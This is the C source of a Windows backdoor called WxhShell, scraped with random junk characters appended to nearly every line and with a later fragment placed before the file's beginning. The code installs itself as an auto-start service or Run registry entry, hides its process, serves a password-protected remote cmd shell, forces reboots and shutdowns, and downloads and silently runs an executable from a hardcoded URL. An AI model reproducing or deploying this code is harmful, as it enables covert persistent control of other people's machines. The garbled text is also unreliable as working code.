    else { 1-gX=8]]  
    closesocket(wsh); C{S6Ri  
    ExitThread(0); ln!KL'T]  
    } {k~$\J?.  
    break; ck<4_?1]  
    } eS Fmx  
  // 关机 [K9q+  
  case 'd': { I3aEg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +~/zCJ;F  
    if(Boot(SHUTDOWN)) S"Zs'7dy`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pK1(AV'L  
    else { |s`q+ U-  
    closesocket(wsh); m :^,qC  
    ExitThread(0); Ox43(S0~  
    } )5V1H WjU  
    break; ;j_#,Da9<  
    } cRfX  
  // 获取shell s^v,i CH {  
  case 's': { "|&*MjwN6  
    CmdShell(wsh); p0YTZS ]h  
    closesocket(wsh); I~T?tm  
    ExitThread(0); bFx?HM.AGW  
    break; q{JD]A:  
  } ZyWC_r!  
  // 退出 $1@{Zz!S  
  case 'x': { Hm^p^,}_x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {S&&X&A`v  
    CloseIt(wsh); *AN#D?X_  
    break; |m EJJg`"7  
    } %yrP: fg/  
  // 离开 O@Kr}8^,  
  case 'q': { IH0^*f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9VY_gi=vL  
    closesocket(wsh); ohyUvxvj  
    WSACleanup(); p]g/iLDZ  
    exit(1); 2I4P":q  
    break; 1-[{4{R  
        } (jyJ-qe  
  } xX>448=  
  } U)o8Tr  
4'8.f5  
  // 提示信息 / q!&I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @<sP1`1  
} nBj7Q!lW  
  } Fu><lN7  
4%{m7CK}  
  return; \%VoX` B  
} g?+P&FL#I  
.lnD]Q  
// shell模块句柄 O&0R ~<n  
int CmdShell(SOCKET sock) [(K^x?\Y0'  
{ dk ?0r  
STARTUPINFO si; ,J#5Y.  
ZeroMemory(&si,sizeof(si)); >) ^!gz8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8vP)qy8  
PROCESS_INFORMATION ProcessInfo; /L8=8  
char cmdline[]="cmd"; D.GSl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u!S{[7 FY  
  return 0; A| +{x4s`  
} Aws TDM  
_[7uLWyC9  
// 自身启动模式 zBR]bk\  
int StartFromService(void) +$'/!vN  
{ BW;u? 1Xa  
typedef struct (^4%Fk&I-  
{ 7> QtO  
  DWORD ExitStatus; 32Z4&~ I  
  DWORD PebBaseAddress; dA~6{*)  
  DWORD AffinityMask; U#P#YpD;==  
  DWORD BasePriority; y%y#Pb |  
  ULONG UniqueProcessId; q.t5L=l^ r  
  ULONG InheritedFromUniqueProcessId; mB~&nDU  
}   PROCESS_BASIC_INFORMATION; PrcM'Q  
b +_E)4  
PROCNTQSIP NtQueryInformationProcess; }1P  
yC5|"+ A$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4c yv 8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *%e#)sn*  
-d~'tti  
  HANDLE             hProcess; 5*r6#[S\  
  PROCESS_BASIC_INFORMATION pbi; koU.`l.  
td~3N,S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #]'xUgcE9  
  if(NULL == hInst ) return 0; g/J!U8W"  
l9h;dI{6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z-?9F`}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .,,73"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .wSAysiQ|P  
Mg$Z^v|}0  
  if (!NtQueryInformationProcess) return 0; 1d"P) 3dQ  
Y4O L 82Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jj2UUQ|  
  if(!hProcess) return 0; 4Ojw&ys@V  
U{Z>y?V/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^J_hkw~gO  
qr 9 F  
  CloseHandle(hProcess); [8w2U%}]  
2 *$n?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K&h6#[^\d  
if(hProcess==NULL) return 0; ihVQ,Cth  
= !X4j3Cv  
HMODULE hMod; ZIp=JR8o$  
char procName[255]; u/f&Wq/  
unsigned long cbNeeded; =)8Ct  
68*{Lo?U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |*5nr5c_L  
4#w^PM8}  
  CloseHandle(hProcess); qu%s 7+  
/ ["T#`  
if(strstr(procName,"services")) return 1; // 以服务启动 ^d*>P|n*@e  
M)7enp) F.  
  return 0; // 注册表启动 V]}b3Y!(  
} 8E+l; 2  
jlBCu(.,_  
// 主模块 }t'^Au`X  
int StartWxhshell(LPSTR lpCmdLine) Cs{f'I  
{ h~p}08  
  SOCKET wsl; jHCKV  
BOOL val=TRUE;  |_ *$+  
  int port=0; Kc0OLcu^d  
  struct sockaddr_in door;  P+0xi  
[4 j;FN Fa  
  if(wscfg.ws_autoins) Install(); v3Yj2LSqx  
bB-v ar  
port=atoi(lpCmdLine); h'p0V@!N  
MV}]i@ V  
if(port<=0) port=wscfg.ws_port; `%3p.~>  
ErC[Zh"''  
  WSADATA data; Cj+=9Dc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~~,<+X:  
>lmL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P1n@E*~V5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _O%p{t'q<  
  door.sin_family = AF_INET; DG=Ap:sl*$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h :R)KM  
  door.sin_port = htons(port); 0)!zhO_}  
,be?GAq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m5N&7qgp  
closesocket(wsl); wlM ?gQXU[  
return 1; +.I'U9QeUN  
} $4L3y uH  
{6sfa?1j  
  if(listen(wsl,2) == INVALID_SOCKET) { Fr3t [:D  
closesocket(wsl); ".?{Y(~  
return 1; (K6S tNtN  
} ]s@8I2_  
  Wxhshell(wsl); #7h fEAk  
  WSACleanup(); V&H8-,7z  
(02(:;1  
return 0; gUA}%YXe  
nh)R  
} `F8;{`a  
w.p'Dpw  
// 以NT服务方式启动 t8 "-zd8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {W<-f?  
{ jqWvLBU!  
DWORD   status = 0; ^6>|!  
  DWORD   specificError = 0xfffffff; =osw3"ng  
:j<JZs>`R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZiYzsn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0\@|M@X=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5Suc#0y  
  serviceStatus.dwWin32ExitCode     = 0; ot#kU 8f  
  serviceStatus.dwServiceSpecificExitCode = 0; 79g>7<vp  
  serviceStatus.dwCheckPoint       = 0; 0f/!|c  
  serviceStatus.dwWaitHint       = 0; , % jTXb  
8{ %9%{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L"%eQHEC&  
  if (hServiceStatusHandle==0) return; z 5+]Z a~  
+lJ]-U|P  
status = GetLastError(); $]JIA|  
  if (status!=NO_ERROR) Eo&qc 17)`  
{ ,D,f9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zb;$ZUWQX  
    serviceStatus.dwCheckPoint       = 0; #`0z=w/)  
    serviceStatus.dwWaitHint       = 0; $i~`vu*  
    serviceStatus.dwWin32ExitCode     = status; v=1S  
    serviceStatus.dwServiceSpecificExitCode = specificError; i!x5T%x_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @|%ICG c  
    return; eh4"_t  
  } S@NhEc  
3MJWCo-[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9= $,]M  
  serviceStatus.dwCheckPoint       = 0; O \8G~V 5"  
  serviceStatus.dwWaitHint       = 0; Ia:puks=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mIEaWE;E"  
} 9R"N#w.U]  
<L/vNP  
// 处理NT服务事件,比如:启动、停止 n4T2'e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p+UHJ&  
{ <JM%Kn )  
switch(fdwControl) ^Jl!WH=20}  
{ T ) f_W  
case SERVICE_CONTROL_STOP: t0d '>  
  serviceStatus.dwWin32ExitCode = 0; :k(t/*Nl3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E/$@ud|l"  
  serviceStatus.dwCheckPoint   = 0; LE80`t>M#  
  serviceStatus.dwWaitHint     = 0; *1S.9L  
  { *N e2l`!1m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x~Ly$A2p  
  } Z)T@`B6  
  return; ?V:]u 3  
case SERVICE_CONTROL_PAUSE: `+Z#*lj|@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bK$D lBZ  
  break; `yXx[deY  
case SERVICE_CONTROL_CONTINUE: dQ`ZrWd_U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ieRBD6_  
  break; ;}jbdS3  
case SERVICE_CONTROL_INTERROGATE: tSc>@Q_|  
  break; r9a!,^}F  
}; '# IuY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !XA%[u  
} !2U7gVt"*  
Mth`s{sATa  
// 标准应用程序主函数 @j2*.ee  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HT=Am  
{ Yn]y d1  
)LrCoI =|  
// 获取操作系统版本 ( WtE`f;Q  
OsIsNt=GetOsVer(); _6S b.9m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >c\v&k>6.  
\{=`F`oB=  
  // 从命令行安装 r2F  
  if(strpbrk(lpCmdLine,"iI")) Install(); FoD/Q  
V&j.>Y  
  // 下载执行文件 C\^<v&  
if(wscfg.ws_downexe) { A.C278^O8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) imCl{vt(kj  
  WinExec(wscfg.ws_filenam,SW_HIDE); xnuv4Z}]t  
} mc=! X  
.Jat^iFj0  
if(!OsIsNt) { Q()RO*9  
// 如果时win9x,隐藏进程并且设置为注册表启动 QDgEJ%U-  
HideProc(); QD;f~fZ  
StartWxhshell(lpCmdLine); (6#yw`\  
} H0b6ZA%n  
else ivUsMhx>S,  
  if(StartFromService()) B 6'%J  
  // 以服务方式启动 &Bz7fKCo  
  StartServiceCtrlDispatcher(DispatchTable); V_A,d8=lt  
else VfA5r`^  
  // 普通方式启动 Xt,,AGm}  
  StartWxhshell(lpCmdLine); KkL:p?@n  
iraRB~  
return 0; -=t3O#  
} 1QF*e'  
IL[|CB1v  
E%\7Uo-  
w]Ko/;;^2  
=========================================== 90h1e7ZcC  
:_QAjU  
^Im%D(MY  
uJ/?+5TU  
9<(K6Q  
8K JQ(  
" + 65~,e  
jle%|8m&@  
#include <stdio.h> ci_v7Jnwo  
#include <string.h> Bpm5dT;  
#include <windows.h> Xlqz8cI  
#include <winsock2.h> T ^%n!t  
#include <winsvc.h> sAD P~xvU  
#include <urlmon.h> K)Xs L  
W]yClx \  
#pragma comment (lib, "Ws2_32.lib") +G!jKta7B  
#pragma comment (lib, "urlmon.lib") ,7fc41O3V  
'=K of1  
#define MAX_USER   100 // 最大客户端连接数 C/CfjRzd  
#define BUF_SOCK   200 // sock buffer #?$'nya*u  
#define KEY_BUFF   255 // 输入 buffer X# kjt )W  
I~]Q55  
#define REBOOT     0   // 重启 u_6BHsU  
#define SHUTDOWN   1   // 关机 Iz GB  
R<lNk<  
#define DEF_PORT   5000 // 监听端口 ]zvVY:v  
+>!B(j\gx  
#define REG_LEN     16   // 注册表键长度 4`UL1)A]  
#define SVC_LEN     80   // NT服务名长度 C>:/(O  
T$8@2[  
// 从dll定义API ZH;y>Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kToVBU$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @`kiEg'Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +i`Q 7+d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :<t{ =0G  
8G5) o`  
// wxhshell配置信息 Nr]8P/[~  
struct WSCFG { )pZekh]v  
  int ws_port;         // 监听端口 te\h?H  
  char ws_passstr[REG_LEN]; // 口令 .?i-rTF:  
  int ws_autoins;       // 安装标记, 1=yes 0=no C'8!cPFVv  
  char ws_regname[REG_LEN]; // 注册表键名 EOBs}M;  
  char ws_svcname[REG_LEN]; // 服务名 jI{~s]Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /[20e1 w!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &weY8\HD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d@D;'2}Yc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X@yr$3vC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e:$7^Y,U/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /Oggt^S  
%7NsBR!y  
}; K{ zCp6  
2GiUPtO&Gj  
// default Wxhshell configuration FM9X}%5nu9  
struct WSCFG wscfg={DEF_PORT, ;Y@!:p- H  
    "xuhuanlingzhe", %l8*t$8  
    1, 4#@W;'  
    "Wxhshell", UKKSc>D1  
    "Wxhshell", sw41wj  
            "WxhShell Service", tIyuzc~U  
    "Wrsky Windows CmdShell Service", CrNwALx  
    "Please Input Your Password: ", ] ;pf  
  1, p- "Z'$A`  
  "http://www.wrsky.com/wxhshell.exe", Vedyy\TU  
  "Wxhshell.exe" $*AC>i\  
    }; ol$2sI=.s  
GJIWG&C03  
// 消息定义模块 %_b^!FR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {*?sVAvj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @q> ktE_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V\@jC\-5Vt  
char *msg_ws_ext="\n\rExit."; N ;Z`%&  
char *msg_ws_end="\n\rQuit."; Ue{vg$5||  
char *msg_ws_boot="\n\rReboot..."; 2/yXY_L  
char *msg_ws_poff="\n\rShutdown..."; e$Xq    
char *msg_ws_down="\n\rSave to "; IP30y>\  
S]e j=6SP  
char *msg_ws_err="\n\rErr!"; d)04;[=  
char *msg_ws_ok="\n\rOK!"; ySwYV  
Cdp]Nv6  
char ExeFile[MAX_PATH]; 4?>18%7&  
int nUser = 0; $N}/1R^?r  
HANDLE handles[MAX_USER]; tjZ\h=  
int OsIsNt; i<4>\nc  
pKt-R07*  
SERVICE_STATUS       serviceStatus; :M22P`:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fJ)N:q`  
fg9?3x Z  
// 函数声明 JJ/1daj  
int Install(void); 0T9@,scY  
int Uninstall(void); [F/^J|VMV  
int DownloadFile(char *sURL, SOCKET wsh); ;dqk@@O"(  
int Boot(int flag); *'9)H 0  
void HideProc(void); gEr4zae  
int GetOsVer(void); Si?$\H*:  
int Wxhshell(SOCKET wsl); <i_> y~v`  
void TalkWithClient(void *cs); x],8yR)R  
int CmdShell(SOCKET sock); [!1)mR  
int StartFromService(void); Fw_ (q!  
int StartWxhshell(LPSTR lpCmdLine); )p$\gwr=2  
M11"<3]D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4meidKw]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u(pdP"  
\C]i|]tl  
// 数据结构和表定义 hD nM+4D  
SERVICE_TABLE_ENTRY DispatchTable[] = _\ .  
{ <u/a`E?  
{wscfg.ws_svcname, NTServiceMain}, _4P;+Y  
{NULL, NULL} Q7,EY /  
}; t6'61*)|0  
! jbEm8bt  
// 自我安装 _Kc 1  
int Install(void) ss? ]  
{ m"lE&AM64p  
  char svExeFile[MAX_PATH]; UF@IBb}0  
  HKEY key; #*!+b  
  strcpy(svExeFile,ExeFile); (Ij0AeJ#  
F,*2#:Ki  
// 如果是win9x系统,修改注册表设为自启动 z 0~j  
if(!OsIsNt) { x}tKewdOSe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <jbj/Q )"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wgxn`6  
  RegCloseKey(key); /Zo~1q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P3'2IzNw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W8f`J2^"M  
  RegCloseKey(key); BJ~ ivT<  
  return 0; {5T0RL{\N  
    } + $>N]1  
  } G1}~.%J  
} 1#grB(p?  
else { x!'7yx  
hVMYB_<~  
// 如果是NT以上系统,安装为系统服务 -#hK|1]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q]< (bD.7  
if (schSCManager!=0) +"'F Be  
{ ]]>nbgGn#  
  SC_HANDLE schService = CreateService H76E+AY  
  ( }<vvxi  
  schSCManager, Vy]A,Rn7  
  wscfg.ws_svcname, B,3 t`  
  wscfg.ws_svcdisp, +0VG[ c\8  
  SERVICE_ALL_ACCESS, A#<vG1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S8\+XJ  
  SERVICE_AUTO_START, `SCy<w3$+[  
  SERVICE_ERROR_NORMAL, (~S<EUc$  
  svExeFile, _1sP.0 t  
  NULL, &k1/Z*/  
  NULL, IuNkfBe4m  
  NULL, ]Z _$'?f  
  NULL, l;Q >b]DZ  
  NULL XJe/tR  
  ); X]qCS0GD'  
  if (schService!=0) _3|6ZO  
  { #C4|@7w%  
  CloseServiceHandle(schService); :]'q#$!  
  CloseServiceHandle(schSCManager); d!o.ASL{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _*Pfp+if  
  strcat(svExeFile,wscfg.ws_svcname); Q/p(#/y#b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IWQ&6SDW$z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bb~5& @M|N  
  RegCloseKey(key); d+tj%7  
  return 0; 0f1H8zV  
    } ASR-a't6  
  } wTT RoeJ}  
  CloseServiceHandle(schSCManager); 9hy'DcSy,  
} lqF>=15  
} ~L~]QN\3  
1YFeVMc  
return 1; (#oYyM]  
} 2xDQ :=ec  
J==}QEhQ{  
// 自我卸载 ?FN9rhAC  
int Uninstall(void) ^\MhT)x  
{ B22b&0  
  HKEY key; [a@ B =E  
' PELf P8  
if(!OsIsNt) { {(;B5rs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a2o.a 2  
  RegDeleteValue(key,wscfg.ws_regname); >rKhlUD  
  RegCloseKey(key); zhX;6= X2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7{-@}j`  
  RegDeleteValue(key,wscfg.ws_regname); W,Ty=:qm*  
  RegCloseKey(key); 3Y`>6A=  
  return 0; zO%w_7 w  
  } QP:9%f>=  
} .:8[wI_f  
} mH)OB?+lq  
else { GMBJjP&R]  
}wfI4?}j}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^p,3)$  
if (schSCManager!=0) 2 l(Dee Y  
{ Xtkw Z3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8)pB_en3sO  
  if (schService!=0) Tv\HAK<N  
  { ~ 7}]  
  if(DeleteService(schService)!=0) { ilv_D~|  
  CloseServiceHandle(schService); M|k&TTV  
  CloseServiceHandle(schSCManager); vO]J]][  
  return 0; '*4iqP R;  
  } %*jGim~s  
  CloseServiceHandle(schService); : W~f;k  
  } eES'}[W>  
  CloseServiceHandle(schSCManager); as(*B-_n~  
} jn^fgH ?  
} Oxv+1Ub<Dv  
G,]z (%  
return 1; bE d?^h  
} 8b7;\C~$p  
4:U0f;Fs  
// 从指定url下载文件 )pS8{c)E  
int DownloadFile(char *sURL, SOCKET wsh) g2=}G<*0  
{ \-OC|\{32  
  HRESULT hr; 0R|K0XH#$  
char seps[]= "/"; Z(HZB  
char *token; D-pX<0 -y  
char *file; >! oF0R_<  
char myURL[MAX_PATH]; :G}DAUFN  
char myFILE[MAX_PATH]; Fj^AW v^/  
lUHtjr  
strcpy(myURL,sURL); vL$|9|W(  
  token=strtok(myURL,seps); IcFK,y%1  
  while(token!=NULL) f>niFPW"  
  { ^wJEfac  
    file=token; )|RZa|`-G  
  token=strtok(NULL,seps); f&c]LH _  
  } 6.'$EtH  
E~RV1)  
GetCurrentDirectory(MAX_PATH,myFILE); `VZZ^K9zR  
strcat(myFILE, "\\"); hM>*a!)U  
strcat(myFILE, file); =/Wu'gG)  
  send(wsh,myFILE,strlen(myFILE),0); @+&'%1  
send(wsh,"...",3,0); 4gOgWBv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #V[SQ=>x[  
  if(hr==S_OK) | ]# +v@  
return 0; C_G1P)k  
else IY)5.E _  
return 1; SKR;wu  
G#0,CLGN^  
} K2HvI7$-  
ZoxS*Xk  
// 系统电源模块 X2^_~<I{,  
int Boot(int flag) 6e# wR/  
{ Cw#V`70a  
  HANDLE hToken; G3dh M#!  
  TOKEN_PRIVILEGES tkp; m gVML&^  
?E7=:h(@t  
  if(OsIsNt) { u!Bk,}CE`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l3p3tT3+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kOipH |.x  
    tkp.PrivilegeCount = 1; dE [Ol   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2 .f|2:I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9"ugz^uKt  
if(flag==REBOOT) { AS|Rd+ .  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o1k#."wHr  
  return 0; QKccrAo  
} FJwt?3\u5  
else { 7`fY*O6   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Dtt-|_EMS  
  return 0; tOH0IE c  
} zMGzReJ  
  } >vVw!.fJ  
  else { -:S IS`0s  
if(flag==REBOOT) { El (/em  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PN &|8_  
  return 0; azX`oU,l  
} )%VCzye*{  
else { GV8)Kor%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kA^A mfba  
  return 0; {|6z+vR  
} gz61FW  
} 5B*qbM  
$.:3$et@/  
return 1; fHfY}BQS  
} y5u\j{?Te  
)gXTRkmw  
// win9x进程隐藏模块 _~A~+S}  
void HideProc(void) DYRE1!  
{ 6Z8l8:r-6  
_z8;lt   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0 d4cE10  
  if ( hKernel != NULL ) 85z;Zt0{  
  { cZi[(K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w>vH8f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Jl Di>B  
    FreeLibrary(hKernel); d#\W hRE  
  } "2;N2=~7  
x=,8[W#XT  
return; GN%(9N'W  
} #ElejQ|?  
u D(t`W"  
// 获取操作系统版本 VAKy^nR5j  
int GetOsVer(void) xl2g0?  
{ LgHJo-+>  
  OSVERSIONINFO winfo; d(S}NH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "'A"U  
  GetVersionEx(&winfo); |sc Uo~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g.a| c\WH  
  return 1; H/J<Pd$p  
  else U3F3((EYJ  
  return 0; ^~l  $&~  
} f&yQhe6q  
=M<z8R  
// 客户端句柄模块 zZ,Yfd |W  
int Wxhshell(SOCKET wsl) Of`c`-<j  
{ ]k*1KP  
  SOCKET wsh; ,4Y*:JU4  
  struct sockaddr_in client; [6R fS  
  DWORD myID; gX,9Gh  
2[up+;%Y  
  while(nUser<MAX_USER) &&PgOFD  
{ 254~:eB0  
  int nSize=sizeof(client); XDYosC:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a)9rs\Is{  
  if(wsh==INVALID_SOCKET) return 1; 16$y`~c-z  
&p"(-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3hS6j S  
if(handles[nUser]==0) l h/&__  
  closesocket(wsh); M<[ ?g5=#  
else CgnXr/!L  
  nUser++; %MJ;Q?KB  
  } 8#59iQl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d+}kg  
(1){A8=?o  
  return 0; 3k' .(P|F  
} de YyaV  
aws"3O% uW  
// 关闭 socket .7Kk2Y  
void CloseIt(SOCKET wsh) A}G|Yfn  
{ E*|tOj9`1n  
closesocket(wsh); -_~)f{KN@  
nUser--; jTSOnF}C~+  
ExitThread(0); rkYjq4Z@  
} =Od>;|]m  
tt4+m>/T  
// 客户端请求句柄 #D)x}#V\  
void TalkWithClient(void *cs) }.{}A(^YR  
{ iV hJH4  
.Z%G@X*  
  SOCKET wsh=(SOCKET)cs; ~L4eZ  
  char pwd[SVC_LEN]; Ze ? g  
  char cmd[KEY_BUFF]; arh@`'Q  
char chr[1]; ^l!L)iw  
int i,j; o4)hxs  
AS;.sjgk  
  while (nUser < MAX_USER) { G|9B )`S  
z{?4*Bq  
if(wscfg.ws_passstr) { yP\Up  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5 09Q0 [k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z[&s5"  
  //ZeroMemory(pwd,KEY_BUFF); ]k+m=OR{/  
      i=0; _;e\:7<m  
  while(i<SVC_LEN) { Q$=*aUU%G  
}<[Db}?9  
  // 设置超时 +LzovC@^  
  fd_set FdRead; `6Hf&u<  
  struct timeval TimeOut; 97!5Q~I  
  FD_ZERO(&FdRead); c> G@+  
  FD_SET(wsh,&FdRead); -G b-^G  
  TimeOut.tv_sec=8; ?~F. /  
  TimeOut.tv_usec=0; 9L)L|4A.l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7+ XM3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gfo}I2"  
.JAcPyK^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F2>%KuM  
  pwd=chr[0]; G) 7)]yBL  
  if(chr[0]==0xd || chr[0]==0xa) { 9 5 H?{  
  pwd=0; ,Y!zORv<7  
  break; @ajM^L!O  
  } 9]$`)wZ  
  i++; Y}.Ystem  
    } Hg(5S,O2  
>q(6,Mmb  
  // 如果是非法用户,关闭 socket xm^95}80yh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h%1Y6$  
} +ld;k/  
@"8R3BN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V}9;eJRvw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s4t0f_vj`  
E`AYee%l  
while(1) { 3N< & u   
}kPVtSQ  
  ZeroMemory(cmd,KEY_BUFF); ;CmOsA,1  
4lz{G*u  
      // 自动支持客户端 telnet标准   J{ ~Rxa  
  j=0; gq4 . d  
  while(j<KEY_BUFF) { 7rIlTrG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nW5K[/1D  
  cmd[j]=chr[0]; K`4GU[ul  
  if(chr[0]==0xa || chr[0]==0xd) { X8CVY0<o  
  cmd[j]=0; h4 vm{ho  
  break; ~:2K#q5C  
  } 8:{ q8xZ=k  
  j++; l)8sw=  
    } 7/>a:02  
A&N*F"q  
  // 下载文件 n,nisS  
  if(strstr(cmd,"http://")) { }O*WV1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q]\j>>  
  if(DownloadFile(cmd,wsh)) IJPgFZ7  
